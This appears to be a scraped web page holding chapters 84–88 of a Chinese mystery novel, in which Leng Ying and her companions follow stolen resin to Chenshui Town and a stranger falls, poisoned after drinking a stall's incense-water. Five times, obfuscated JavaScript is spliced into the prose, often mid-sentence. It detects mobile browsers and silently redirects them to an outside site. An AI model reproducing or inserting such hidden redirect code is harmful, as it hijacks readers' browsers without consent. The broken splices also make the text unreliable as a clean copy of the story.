听到杉木粉,在场的几人顿时明白,为何他们要放弃繁华的永江府,选择到略微偏僻的昌县来了。 冷萤不禁在内心感叹造化弄人。 若当年他们带足了制作佛香珠的原 料,就不会有机会踏足昌县,也许便能躲过与沈岁相见了。 想到这里,她随意问了句:“你们当年也算是初来乍到,怎么会清楚知道昌县大量种植杉树?” “多亏了杜桂风。若不是他,我们也不会知道,昌县种植的杉木数量最多品质也佳。我们本想着,找木商买了上好杉木便离开。可没想到……”后面的话,她即便未说出口,大家也都知道了。 “竟是他告诉你们的……”冷萤喃喃一句,总觉得这一切是不是也太巧合了? 白银珠继续道:“他说自己与昌县知县颇为熟稔,便托人将我们带到了这里。” 托人将他们带过来?刚互相认识不久,这位杜桂风待人是不是也太热情了些?冷萤默默想着。 方骅微皱眉想了想,随后问道:“你们当年除了售卖香珠和香料,还有什么?” 不太明白他为何突然如此问,但白银珠还是在回想片刻后,答道:“裘、绸缎、药材…还有……” “还有什么?”冷萤追问。 见他们问得急,她忙低头再次仔细想了想。 终于开口:“玛瑙和……琥珀。” 第八十四章 鬼魂夜行 昌县,同兴客栈一楼。 珊瑚的脸一直埋在包子堆里,要不是吃到一半,被噎到整个人动作静止,没人能看到她嚼出残影的腮帮子。 早就习以为常的冷萤,熟练地端过温茶给她灌了一口,见她终于可以正常进食,这才又把目光转向固执站在自己身前的少年。 “你是说,想让我教你螺钿镶嵌技艺?”对方的要求太突然了,她一下没反应过来。 “你呜……额想得美,我……姐为……”珊瑚抽空从包子堆里拔出脑袋,对姜小四一顿胡乱输出。 当然,在场没人听懂她说了什么。 冷萤让她安心吃饭,她点点头又拿起一旁的粥喝了起来。 见无人再打扰,姜小四窸窸窣窣从自己身上摸索了一会儿,最后摸出一包银子摊开在桌上,示意冷萤收下。 “这是?”冷萤坐直,不解地看向他。 (师父给的,说是给你的束脩。) …… 这师徒俩,都挺简单直接的。但是,这银子冷萤不能收。 且不论她收不收姜小四这个学徒,即便是收了,这些银子她也不会要的。 更何况…… 今日,方骅早早就去了县衙。等这案子后续处理得差不多后,他们应该也要离开昌县了。 学习螺钿镶嵌并不可一蹴而就,它需要十足的耐心去准备前期的繁复工序,又必须长时间不间断地练习和精进技艺。 这并不是给个几日就能立刻学会的技艺。 所以,在冷萤听到姜小四提起这事情时,她第一反应是以为他在开玩笑。 “我们马上就要离开昌县了,可能没有办法认真教你,姜小公子不好意思。”冷萤拒绝的语气很真挚。 她尊重每个喜欢螺钿镶嵌技艺的人,那日在刘富贵家中时,她可以看出姜小四对自己的手法很是感兴趣。 但兴趣有可能只是暂时的,不代表能坚持,也不代表会长久地热爱下去。 (我可以跟着你,你去哪里我去哪里。) “跟什么跟?你是不是对冷姐姐有什么企图?”冷萤还没来得及开口,倒是一旁刚放下碗的珊瑚看见了,冲过来就是一顿输出。 (你思想龌龊。) “你才思想龌龊!”珊瑚气到不行,指着他道:“你行动也龌龊!” 骂完后她觉得还不得劲,正准备继续发挥,一个包子塞进了她嘴里:“呜呜呜……” 气愤地拿出嘴里的包子,她委屈地转头:“冷姐姐,你是嫌我吵了吗?” 冷萤当然是坚决地摇摇头。 随后拉着她到一旁坐下,轻言细语道:“当然不是,我是怕你太大声伤了自己的嗓子。你乖……让我和他谈谈,你先去吃东西好不好?” 见冷萤确实是为自己好,珊瑚这才放心地拿起包子啃了起来,顺便还丢给姜小四一记大白眼。 (真的不是,你别听她乱讲!我只是很喜欢你做的那些……) 姜小四的脸颊顿时变得红彤彤,也不知被珊瑚气的,还是着急解释硬憋出来的。 见他急得满头大汗,冷萤示意他坐下,然后给他倒了一杯温茶,让他先喝一口缓缓。 等他放下茶杯,她才又开口道:“我知你真心想学,但我们要做的事很危险,你跟着我实在不太安全。我可以替你介绍……” 谁知,她的话还未讲完呢,姜小四便当着她的面微微低垂下头,露出满脸失落的神色。 他这一举动,让冷萤下意识收了声,不忍心再说下去了。 “你再装一下可怜试试呢?”珊瑚却是一点不吃他这套,嘴里的东西还未完全吞下去,就出声威胁。 姜小四仿若听不见珊瑚的声音一般,只看着冷萤轻轻抬手。 (我不会拖你们后腿的。) 他倔强的白瞳里满是执拗,让冷萤不由得微微叹息道:“不是拖后腿的问题,是怕连累了你。” 冷萤正在认真向他解释,刚一抬眼便瞧见对方在听她说这话时,眼眸一下子亮到刺眼。原本失落的表情,也突然有了光芒,就像是看见了希望一样。 (我可以帮忙的。) “怎么帮忙?再用你那些迷香迷晕我们吗?”珊瑚虽离得远,却始终在关注他们之间的对话。 (我会使香,会用药,还会简单的疗伤。) “是是是,你最……”她撸起袖子站起身,正准备与这个装可怜的家伙好好吵一架时。 方骅走进客栈,打断了他们的谈话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547076|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “怎么样?”见他进来,冷萤着急地站起身问道。 方骅摇摇头,表情不太好,“华林玉说,他确实认识一个叫杜桂风的,但他认识的杜桂风早在二十年前就已经死了。” “你说什么?”珊瑚惊异道:“二十年前就死了?” 冷萤也颇感意外,皱眉道:“这样算来,白银珠她们离开永江府后,杜桂风应该就已经死了。如果她们认识的是真的杜桂风,那你那夜在张志府中看见的又是谁的背影?” “是张志在说谎……”方骅猜测道:“还是一直有人在假扮杜桂风?” 珊瑚轻嗤:“扮一个商人做什么?若是我,好歹也要扮成养 尊处优的达官贵人,天天吃香的喝辣的。”她实在不懂那个人是怎么想的。 “若真有人假扮了他,那我们岂不是很难再寻到那个人的踪迹了?”冷萤皱眉,感觉线索一下子断了。 突然,她想到那日与珊瑚在茅草房里,看到的凤鸟落地六扇屏风。 屏上用螺钿镶嵌着凤鸟图案的六扇屏风,俨然就是放大版的螺钿黑漆凤鸟砚屏。 其中…是不是有什么巧合?想到这里,她将自己的疑惑说了出来。 方骅听罢,脸上竟显出了一抹了然之色。 他点点头道:“你的怀疑不无道理,这也是我要说的第二件事。” 冷萤抬眼,无声询问。 “幸得你那晚让陈全几人守在茅草屋外,才让他亲眼瞧见了一切。”方骅突然说了这么一句。 “瞧见了什么?”珊瑚心急问道。 “有一支很诡异的队伍,自茅草屋中搬走了那些树脂。还包括……一座屏风。”他看着冷萤骤然明了的眼睛,一字一句道。 “这么多东西,一次性全搬走了?”珊瑚完全不敢相信。 方骅点点头。 “有多诡异?”冷萤关心的,恰好与珊瑚不同。 “他说……”方骅沉吟片刻,复又开口:“那支队伍好像是在祭祀什么,但衣着又与我朝祭祀所穿服装不一样。前面则一直有两人做着很奇怪的动作,后面跟着走的人个个面无表情,脸白如纸。” 顿了顿,他继续道:“看起来,就与正在夜行的鬼魂一模一样。” 第八十五章 沉水镇 “鬼魂?” 他的描述有些吓人,但冷萤还是没听到重点。 她急忙追问道:“那些东西被放在哪里?” “对啊,不会被那些‘鬼魂’背着在吧?”珊瑚本就不信这世间有鬼,戏谑道。 “那倒没有。”方骅摇头,继续道:“他们有马车,只是马车全是用纸糊的,每个纸扎的马头都被一位小童牵着。那小童走一步,马车上的铃铛就响一声。” 他越讲越恐怖,怕另外三人被吓到,停顿了好一会儿才又继续。 “那些脸白如纸的人,一直围着那几辆纸糊的马车慢悠悠地走。若不是陈全亲眼见有人将那些树脂搬到马车上,他还以为是自己眼花了。” 他这话一说出,连平时胆子最大的珊瑚都不敢说话了。 冷萤也感觉,脊背一阵发凉。 “那……”她清了清嗓子,问道:“陈全他们几人,后来跟上去了吗?” “跟上去了。只是……” 方骅慢慢与她对视,开口道:“走着走着,这支队伍就不见了。” “不见了?”珊瑚惊声问道。 他点头:“对,说是突然起了一阵很浓的烟雾。待烟雾消散些后,他们几人再跟过去,那支队伍便一点踪迹也无了。” 几辆纸糊的马车装着这么重东西,还能走得这般快。想想,都觉得不太可能。 冷萤冷静细想片刻,随即再次问道:“可否能看清,是在哪处地界瞧不见那些人的吗?” “陈全说,他当时特意去瞧了眼。不远处有个界碑,上面刻着……” 方骅缓缓道出:“沉水镇。” 他说出该地界地名的同时,姜小四双眼赫然大睁。方才,他一直在静静听方骅说话,并未开口。 只是不知因为何事,他越听眉头却皱得越紧。 “姜小公子是发现什么不对了吗?”冷萤察觉到他眉头紧锁,于是问道。 姜小四微微偏头想了想。 (陈公子他们几人应是中了迷香,就和你们上次一样。) “意思是,陈全他们看见的诡异之事,极有可能是中了迷香后引发的幻觉吗?”冷萤立刻懂了他的意思。 姜小四看向她点头,好似又想到什么,再次抬手。 (沉水镇盛产沉香,沉香是万香之首,所以很多香料商人会选择在沉水镇交易。) 香料……沉香…… 这一切,和在陵县还有昌县发生的一切又有什么关系? 她似自言自语,又似问询:“他们,为何要将那些东西运到沉香镇?” 姜小四见状,抬手在几人眼前挥了挥,示意他们低头。 顺着手指的方向看过去,众人这才发现,他不知何时已在地面上画好了路线图。 (昌县—沉水镇—永江府) 他还怪贴心的,特意用不同色的粉末,在沉水镇这三个字上着重画了一圈。 “去永江府,必须经过沉水镇?”方骅觉着自己应该是看懂了。 白发少年再一次点了点头。 这下几人便明白,陈全为何会在沉水镇将人跟丢了。那些人使用迷香作障眼法,趁无人注意时,顺势进入了沉水香。 之后,再找机会从沉水镇地界,将那些东西直运到永江府。 思考片刻,方骅抬头对众人道:“如果是这样,今日我们便要启程往沉水镇出发了。” 冷萤与珊瑚均点了点头,表示同意。 “那个案子……”冷萤有些犹豫地问道。 “张志和沈岁已死,这起案件牵连众多,怕是无法快速结案。沈无尽在沈岁的指示下犯了不少事,这个大牢有得蹲了。”方骅简单说明了一下。 冷萤微点头,知道他们是没有办法留下等案子彻底判下来了。 所以…… 她看向姜小四。 少年执拗地回望她,眼神看起来格外委屈。 见她不为所动,他抬手。 (我懂香料。) 不得不说,这四个字对此时的冷萤诱惑力很大。但是…… “我不能利用你。”她还是拒绝。 (不是利用,是心甘情愿。我……我还知道路线。) 她当然知道他比任何一个人都要了解这一带。只是…… (我可以帮你们破了那些迷香,让你们顺利进入沉水镇,以后也不会被迷香所惑。) 这…… 冷萤看看方骅,又看看珊瑚。 方骅对她轻点头,珊瑚则是“哼”了一声将脸转向一旁,让她自己看着办。 静想片刻后,冷萤抬起头。她在姜小四分外紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547077|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张的目光下,走到方才吃饭的桌旁,掂起那包银子。 “先同我一起去见你师父。”她微笑着看着姜小四,说道, 少年表情受伤地看着她,态度坚定地摇了摇头。 冷萤见他平时总摆出一副少年老成的模样,今日这赖皮样子总算是有些少年气了。 见他一步都不肯挪动,她扑哧一笑道:“抢了人家的徒弟,我总得先去道个歉吧?” 她话音刚落。 下一瞬,姜小四的白瞳亮得可以照出几人的身影。 这反应,看 起来是开心极了。 这少年,是真的很想学这门手艺。 冷萤有些感动。 几人再次回到了聆音阁。 瞧着焕然一新的朱漆大门,还有原本檐下挂着的两只破旧灯笼,也换成了手工制作的流苏珠灯。 刚来的几人,内心都有一种云消雾散的通透感。 白银珠似乎猜到他们要来,拄着手杖站在门口等他们,表情怡然。 “孩子大了,有自己的想法了。把他带走吧……”还没等冷萤斟酌着开口呢,白银珠倒是大方地抢先开口说道。 冷萤此刻终于相信,姜小四拿过来的银子,真的是白银珠给他的了。 “怎会如此突然?”冷萤从她摩挲着手杖的动作里,看出了她对姜小四的不舍。 “我要走啦……” “回西域,把阿南带回去。他离开多年,也该回家了……” “可是……”冷萤想说,姜小四的五官看起来也不像是中原人。 万一…… “小四这孩子,是我去山上采药时遇见的,那时的他只有现在一半高,身上全是伤。”白银珠缓缓启唇,讲起了姜小四的过去。 “我本不想管他的,可这家伙为了让我救他,居然使香扰乱我的蜂群。我不答应,他就一直添乱。你们知道我本就看不见,一下子手忙脚乱起来,便只得将他救起了。” “怎么以前也这般赖皮……”冷萤小声说了句。 姜小四听师父说起关于他的往事,本就一张脸羞得通红。又听见冷萤小声说了这么一句,竟恨不得直接当场钻到地缝里去。 (师父她老人家,当时也是想救我的。) 他极力辩解,虽然白银珠看不见。 第八十六章 回生之香 前夜,亥时三刻。 昌县县衙的大门里,匆匆走出一人。 本准备连夜审案的华林玉,急急地取下乌纱帽,递给身边的下人。 与他一同办案的衙役,跟在他身后问道:“大人,这么晚了您还要出去吗?” “嗯。”华林玉有些紧张地整了整衣领,对身后跟着的几名衙役道:“我出去一趟,你们不要跟来。” “这……” 华林玉头也未回,连走带跑的走入暗夜里,一会儿竟连人影都见不着了。 “要不要跟上去?”方才问话的衙役问身旁的人。 被问话的人想了想,才道:“大人应该有私事要办,我们远远跟着吧。” 说完,他便带上两人,不远不近又小心翼翼地跟了上去。 夜风凉爽,华林玉却走得满头大汗。他步伐急促,走几步就要扯起袖口擦擦滴落的汗水,脚步却不肯放慢一点。 差不多一刻,他停在一家废弃的茶馆前,推门进入。 破旧的门,随着他小心翼翼的动作,发出“吱呀”的刺耳声。 进入茶馆大门后,里面便是一方小院。想来,此地应是原先茶客们露天饮茶之处。 小院里满是腐烂的落叶,和几张被随意丢弃的茶桌。 华林玉蹑手蹑脚地走近,见内里空无一人,他单手放至嘴边,声音极小地用气音喊了句:“姑娘,我来了……” 回应他的,是未曾间断过的蝉鸣声。 “姑娘,您来了吗?”他不死心,又喊了一声。然后像做贼一样,在院中上上下下四处探头查看。 半晌,还是无人应他。 他不知是松了口气还是怎的,又执起袖口擦了擦一直在流汗的额头。 一颗调皮的小石子,划过染着月色的长空,重重打在了他的后脑勺上。 华林玉本就胆小,那颗石子砸过来时,不知道的人还以为是点了他的穴,竟让他瞬间僵直地站在原地,连头都不敢回一下。 “喂,老头,你是傻了吗?”清脆的女孩声音,自他身后传来。 被吓到一动也不敢动地华林玉,这才彻底放下提到嗓子眼的心,微微松了口气转过身。 可即便他转过了身,也未见来人的半缕身影。 “弦女姑娘,老……老夫都一把年纪了,您就不要再捉弄老夫了。”他对着满院落叶,姿态卑微地说道。 “嘻嘻……”对方只轻笑了声。 这笑声,听得他整个身体都害怕地抖了抖。 颤抖着抬头,他似看非看地朝出声地望去,随后慢慢瞪大了双眼。 在适应了前方的黑暗后,华林玉突然发现,围墙边的一棵叶子快掉完的歪脖子树上,露出了一双淡黄色的绣花鞋。 鹅黄色的裙摆下,那双穿着绣花鞋的双脚,半遮半掩调皮地左摇右晃着。 本是女孩随意烂漫的举动,但在暗月的映照下,投在地上的影子一下、一下又一下……被放大至华林玉的眼前,差点没将他吓晕了过去。 “弦女……”他微微勾着腰,抬头朝树上看去,“姑娘……哇啊!” 突然,一个手持恶鬼面具的人倏然闯入他的眼帘! 本就吓到神志不清的华林玉,这次更是被惊到一屁股坐在了地上。 枯黄的树叶微动,窸窸窣窣响了几声后,一个身穿鹅黄色长衫的女子,轻巧地从树上落下,伴随着“嘻嘻……”的一声笑。 她拿下脸上的恶鬼面具,嬉皮笑脸地走近被吓到半天爬不起来的华林玉身前:“华知县,胆子这么小,是如何做出欺上瞒下的事的?” 见眼前不再是那恶鬼面具,华林玉结结实实松了好大一口气。 他四肢发软地慢慢从地上爬起,似怒又不敢言地说道:“弦女姑娘你……您大半夜的,去哪里找来的这吓人的面具。” “哼!”珊瑚将面具背至身后,突然一转身指着华林玉道:“昌县那么多恶鬼你不管,还怕多我一个假的吗?这次侥幸让你逃了过去,若再有下次,看我不将你立即就地正法才是!” 见小姑娘气势汹汹地威胁自己,华林玉瞬间被她搞懵了。 他眼珠滴溜溜转了一圈,赔着笑上前小心翼翼问道:“姑娘说的这些话,是大人让您带给我的吗?如果是这样的话,那老夫以后办事一定会小……” 他的话还未说完,便被打断了。 “才不是!”珊瑚一叉腰,大声说道:这是本姑娘的意思!我警告你,你要是再在昌县犯下什么坏事,本姑娘定不会再饶你!” 华林玉听得脸皮皱巴巴的,还以为是自己听岔了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547078|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 自己做的所有事,不都是她家主人指使的吗?虽然来传话的并不是这位弦女姑娘,但谁来不都是一个意思。 结果现在事情是解决了,这弦女姑娘又跑过来义正词严地教训他,这又是想闹哪出? 分家了?闹掰了?或者……她的主人不要她了? “你……”他正准备问出自己的疑惑,后背一个手刀过来,直接将他劈晕了过去。 眼睁睁见华林玉在自己面前倒下,珊瑚抬起瞪得溜圆的眼睛,问来人:“你干吗?我话还没有说完呢。” 来人一身黑衣,也不知何时立在了华林玉身后。 他黑巾缚面站在那里,一双冷眼瞧着珊瑚,问道:“你又在闹什么脾气?才做了几次任务就这么不省心。” “他做错事了,我警告他一下不可以吗?你多管什么闲事?”珊瑚放下叉腰的手,走上前,在来人肩上拿手指使劲点点点。 被她攻击的人纹丝不动,虽放任她动作,说出的话却格外冷硬:“下次做出这些事前,麻烦考虑一下主人的脸面,他老人家可丢不起这脸。” 说到“主人”,珊瑚立马老实了。 她收回手,又坐回那棵歪脖子树上,过了好一会儿才传出她闷闷的声音:“小黑啊,以往不都会让我杀掉坏人的吗?这次……主人为什么要放过华林玉啊。我……” 黑衣男子轻眨一下眼,盯着那棵歪脖子树道:“别问那么多,主人让你做什么便做什么。问多了……” 他顿了顿,才接着道:“对你没什么好处。” “可是……”珊瑚双脚摆动的幅度更大了,像极了她此时毫无头绪的心情。 黑衣男人还是没能让她顺利将话说出,他木着脸打断珊瑚的话,硬邦邦道:“接任务!” “喔……”懒洋洋又不情愿的声音,自树上传来。 “主人说,到沉水镇后,一定要替他拿到回生之香的香方。”男子像木头人一样复述。 “我为啥要去沉水镇?”一直晃动的绣花鞋停了下来,珊瑚继续问道:“那个……回什么香的,又是什么玩意儿?” 黑衣男子蹙眉,表情很是不赞同地看着她:“说过了,不该问的别问。” 过后,他还是有些不放心,随即再次提醒:“记好了,把回生之香带回来!” 第八十七章 沉香饮 沉水镇 冷萤四人连夜赶路,终于在天蒙蒙亮时抵达沉水镇。 晨雾如轻纱般笼罩着整座小镇,空气中弥漫着淡淡木质的甜香与泥土的腥气。 与昌县的热闹相比,沉水镇安静到不可思议。整座镇子如同沉睡的巨蛇,正在晨光中缓缓睁开它的眼睛。 刚踏进镇子的几人,身影在朦胧的雾气中若隐若现,仿佛穿梭在一幅流动的水墨画里。 “这镇子里什么味?”珊瑚嗅了嗅,她虽说不出围绕在周身的是什么气味,但就是觉得闻起来还挺香的。 她身上背着超大的包裹,里面装着的全是她在昌县买的干粮与糕点。 听说沉水镇人少地稀,她生怕饿着疯狂囤了一堆吃食。冷萤实在也拦不住,便只好替她分担了些,以免那堆吃食压坏了她纤细的胳膊。 其实冷萤也挺好奇的,她也闻到了身边那若有若无地香气,却并未瞧见什么能散发香味之物。 他们一路走来,沉水镇的气候与温度,明显与陵县和昌县都不同。就在他们刚迈进沉水镇地带的同时,顿时便感觉到整个人湿润了不少。 就连每个人的发间,也偷偷藏着晶莹剔透的朝露。 方骅毫不在意的一个人走在前面,眼神锐利又警觉地四处观察。陈全则是提前到达沉水镇,已替他们找好了客栈。 姜小四不论何时,都安静地跟在众人身后。在无人同他说话时,他就默默赶路,对周围的事物一点兴趣也无,甚至连头都很少抬起来。 他唯一坚持的,便是一定要替冷萤背着行李。无论冷萤如何委婉拒绝,他就是一言不发地趁机拿过她的包,固执背在自己身上。 看着里面有一半是装着吃食的包裹,覆盖在姜小四消瘦的肩膀上,她有几次想将包裹直接抢过来,都没能成功。 这让还没机会传授他任何手艺的冷萤,心里很是过意不去。 几人在走过长长的青石板路后,两边的街道终于逐渐热闹起来。他们也终于在进入沉水镇许久后,见到了镇上看起来最热闹的一家小摊贩。 小小的一个摊架上,只放了一把用木头制成的茶壶。茶壶旁边,是同样用木头制成的几只茶杯。 摊主并未对茶壶和茶杯进行任何打磨,整套茶具看起来既粗糙也不美观,被随意放在没有任何装饰的摊架上。 摊主席地而坐,身边的水壶烧着热水,他自己则与排队的乡民们优哉游哉地谈着天。 这热闹的氛围,却让冷萤几人感到奇怪。 明明他们自进入沉水镇后,一路走来就未遇见过几个人。 好不容易找到一个热闹些的地方,却发现四周零星摆着的几家小摊,全都无人光顾。 唯独这家看起来最简陋的小摊,排了满满两大队。 “这……”珊瑚咂吧了下嘴,摸了摸自己肚子,瞧着人头攒动的小摊,头也不回地对冷萤道:“冷姐姐,我总觉得那壶里装着美味至极的甜汤。” 见她目光黏在茶壶上脱都脱不开,冷萤浅笑问道:“何以见得?” 珊瑚回头,指着站在那里的一排排乡民,理所当然道:“这还不能说明一切?” (只会凑热闹,那里面装的是井水。) 谁知,姜小四一点面子不给她,手一挥打破了她的希望。 “怎么可能?如果茶壶里是井水,这些乡民为何要一大清早在此处排队等候?难道只是为了喝一口井水这么简单?” 在有美味的情况下,珊瑚一般不与人生气。所以不管此时姜小四如何,她都可以当作没看见,还会好脾气地与对方讨论两句。 (你问问不就知道了?) “问就问!” 她将行李放在地上,不顾冷萤的阻拦,走上前便对其中一位正在排队的老人问道:“老人家,请问你们是在排队买甜汤吗?” 珊瑚本以为问老人家准没错,可令她没想到的是,对方只是阴沉着脸看向她,随后缓缓摇了摇头。 见老人家表情不善,冷萤怕珊瑚被人欺负,走上前想将她拉回。谁知这时,老人身后的一位年轻公子开口说话了。 “姑娘你猜错了,壶里就是烧热的井水,不是什么甜汤。”说话的公子身着暮紫色长袍,面容俊朗,见珊瑚满脸疑惑,便温和地开口对她们解释。 “只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547079|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井水而已,为何会有如此多的人排队买它?”珊瑚见有人愿意回答她,自然是要问个清楚。 紫衣公子排在整个队伍前面几位,说话间,他身前的那位老人已经一杯下肚,抬脚离开,下一个便轮到他了。 只见他笑盈盈地从身上掏出几文钱,优雅地递给摊主,“给我两杯吧。” 摊主也不客气,接过他的铜钱,迅速从那木头茶壶里倒了两杯水递给他。 他接过,将另外一杯递给珊瑚:“姑娘既这般好奇,那便亲口尝尝吧。”说完,他将自己手中的那杯,一饮而尽。 珊瑚也不客气,道了谢接过对方手中的木杯,便准备送入嘴中。 冷萤很是无奈,一把抓住她的手,轻言责怪道:“贪心,也不问明来意,便随意乱饮。” 珊瑚被她拦了一把,似乎也才想到这一层。 愣了片刻后,就在冷萤以为她会放弃时,她又将木杯端了起来,趁众人不注意一口饮下。 紫衣公子见珊瑚这般信任自己,爽朗一笑对冷萤道:“姑娘不必担心,这摊主的香饮日日都有人排着队买,也未见出过什么问题,大可放心饮用。” 方才因为担心珊瑚,冷萤竟忘了那紫衣公子还在她们旁边。这时见对方说话直接,她的神色颇有些窘迫。 “这什么水,怎么喝下去这么香?”珊瑚咂咂嘴,品了半天没尝出什么味道。 只是这水虽无色无味却香气扑鼻,让她甚感惊奇。 “沉香饮,只有沉水镇才有的神仙水,姑娘饮后感觉如何?”紫衣公子问道。 珊瑚晃着脑袋,将手中的木杯交还与他,嘴里念念有词道:“嗯……还不错,本味呃……十足。” 紫衣公子也不知听出她的揶揄没,将木杯还给摊主后,走回来对她们道:“姑娘可是借了在下的光,不知……” 冷萤与珊瑚,还有后面走上前的方骅与姜小四,大家此时都在认真听紫衣公子说话。 谁知,这人说着说着,嘴角竟溢出了一丝鲜血。 方骅本准备开口提醒对方的,结果还未来得及,就见这紫衣公子身子将将晃了两下,便一头栽了下去。 第八十八章 中毒 方骅一个箭步,接住紫衣公子沉重倒下的身子。 姜小四上前,蘸取对方嘴角溢出的血丝放在鼻下闻了闻,瞬间眉心微皱。 (好像是中毒。) 摊主见对方喝了自家壶里的水转身便倒下,本就已经被吓得不轻。结果此时居然有人说这公子是中了毒,他立即心虚到大喊冤枉。 “这位公子你可不要乱讲……写,我这水天天多少人喝呢,怎么偏偏就他中毒了。你们莫不是一伙的,想讹我来着吧?” 现场表情难看的,可不止摊主一人。还有方才与紫衣公子一同饮下那壶中水的珊瑚,与后面满怀期待排着队的乡民们。 珊瑚下意识摸着自己肚子的手,慢慢又朝脖间探过去。她努力感受后,发觉自己身上好似并没有任何不适。 冷萤在一旁担心地看着她,见她左摸右捏后脸色依旧红润,并不像中毒之色,这才慢慢放下心来。 虽然珊瑚并未有不舒服的感觉,但并不影响她去找摊主麻烦。没中毒是她运气好,可不代表这人就可以随意卖毒水给旁人喝。 这边,方骅让紫衣公子靠在自己肩膀上,姜小四还在掂量着用药替他解毒。 那边冷萤也准备上前询问摊主,这壶中之水究竟是为何。结果,珊瑚就直接上前将人小摊给劈成了两半。 薄薄的一层摊架,散开时都未来得及发出声响便倒在了地上。 摊主似乎也并不在意那摊架,他原本盘着腿坐在地上,摊架散开也未见他急着去扶,而是立刻爬起身,去抢救即将掉落到地上那把毫不起眼的茶壶。 “哎哟,这可是我的宝贝啊,万不能摔着了。”摊主在茶壶掉落到地上前,将它抢救了回来,随后站起身怒瞪着珊瑚大声道:“姑娘你谁啊你,莫名其妙一上来就劈了我的摊架。” “我是谁?”珊瑚挽着袖子,手已摸到腰间,“我是喝了你这毒水的受害者。快说,你这茶壶里到底装的什么,才让那公子中毒吐了血?” “是啊是啊,我也是亲眼看见。那位紫衣公子喝了老板你的水就吐血倒下了,这姑娘说得也是没错。”其中一位正在排队的乡民,站出来帮珊瑚说话。 原本只是在一旁看戏的乡民们,见有人站出来说话,顿时胆子也都大了起来。 “对对,这姑娘也没说错嘛。虽然这动作……呃……”另外一位书生也跳了出来,被珊瑚一眼瞪了回去。 摊主一见这架势,顿时急得百口莫辩。 他双手抱着木头茶壶,脸被气到通红,还不忘对珊瑚大喊:“这话可不兴乱讲啊,姑娘。我这水可是沉香饮,沉香饮你懂吗?你想喝还喝不上了。” “而且……”见众人眼神里都透着怀疑,他伸手指着方才老人离去的地方,据理力争道:“为什么别人喝了没事,你喝了也没吐血。啊……偏偏到这公子他就中毒了?” 其实,他说得也不无道理。 这话一出,人群中的讨伐声也少了许多,隐隐约约还能听见有几个为他说话的人。 “你管我有没有吐血?本姑娘身体好,不愿意中毒不行吗?”珊瑚见他怎么说都有理,手痒到想上前教训一下他,不巧被冷萤拦在了原地。 见再吵下去也只会更乱,并不能解决根本问题。 冷萤走上前,朝摊主问道:“这位大哥,如果您坚持,那位公子不是因为喝你壶里的水中毒,那可否让我们检查一下这茶壶?” “凭……凭什么?你又是谁?”摊主见又走出位姑娘,说话虽是柔和了些,但一开口就要检查自己的宝贝,怎么瞧也不像个好惹的主,便立刻又抱紧了怀里的东西。 “哎呀阿牛,你就让人家检查一下,这不也是在替你洗刷冤屈嘛。”队伍里,有一个看起来与摊主有些交集的乡民,劝了句。 那位叫阿牛的摊主听罢,白了他一眼,让他不要多嘴。 他的这个举动,让众人更加怀疑了。 方骅与姜小四此时也走上前来,正巧听见了这句话。 他们给紫衣公子喂下解毒药丸后,见他暂无大碍,便让他靠在树下休息。 姜小四方才,已查明了紫衣公子是因何中毒。此时,他只要将那茶壶拿过来瞧上一眼,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547080|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能立刻知道摊主究竟有没有下毒。 于是,他直接走上前站在摊主面前,伸出手。 阿牛第一次见到长相如此怪异的人,他被吓到慢慢后退,嘴里念叨道:“你们……你们想干什么?” 